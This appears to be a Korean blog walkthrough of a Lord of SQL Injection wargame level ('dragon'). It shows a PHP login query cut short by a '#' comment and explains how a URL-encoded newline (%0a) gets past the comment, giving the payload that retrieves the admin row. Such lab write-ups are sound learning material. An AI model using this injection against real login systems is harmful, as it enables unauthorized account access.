Home LOS - 20번 dragon
Post
Cancel

Lord of SQL Injection › LOS - 20번 dragon

[20] dragon

문제

풀이

주어진 쿼리문을 보겠다.

1
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";

첫번째 조건절 뒤에 #을 넣어서 뒷부분을 날려버리고 있다.


스터디 초반에 로그인 로직 5가지 유형을 개발할 때, 조건절이 개행 처리된 쿼리에는 주석을 주입해도 원하는대로 처리되지 않음을 경험했었다.

이 점에 착안해서 개행 문자를 이용해주면 될 것 같다.


즉, 쿼리문을 다음과 같이 변조할 생각이다.

1
2
$query = "select id from prob_dragon where id='guest'# and pw='
	    and pw='' or id='admin'";


위 쿼리문은 다음 쿼리문과 동일하게 동작한다.

1
$query = "select id from prob_dragon where (id='guest' and pw='') or id='admin'";

따라서 정상적으로 admin 계정을 fetch 해오게 된다.


개행 문자인 \n 은 url encoding을 거쳐 %0a로 입력해준다.


입력할 답은 다음과 같다.

1
%0a and pw='' or id='admin

결과

❤ Recent Post
❤ How About This
❤ Visitor Counter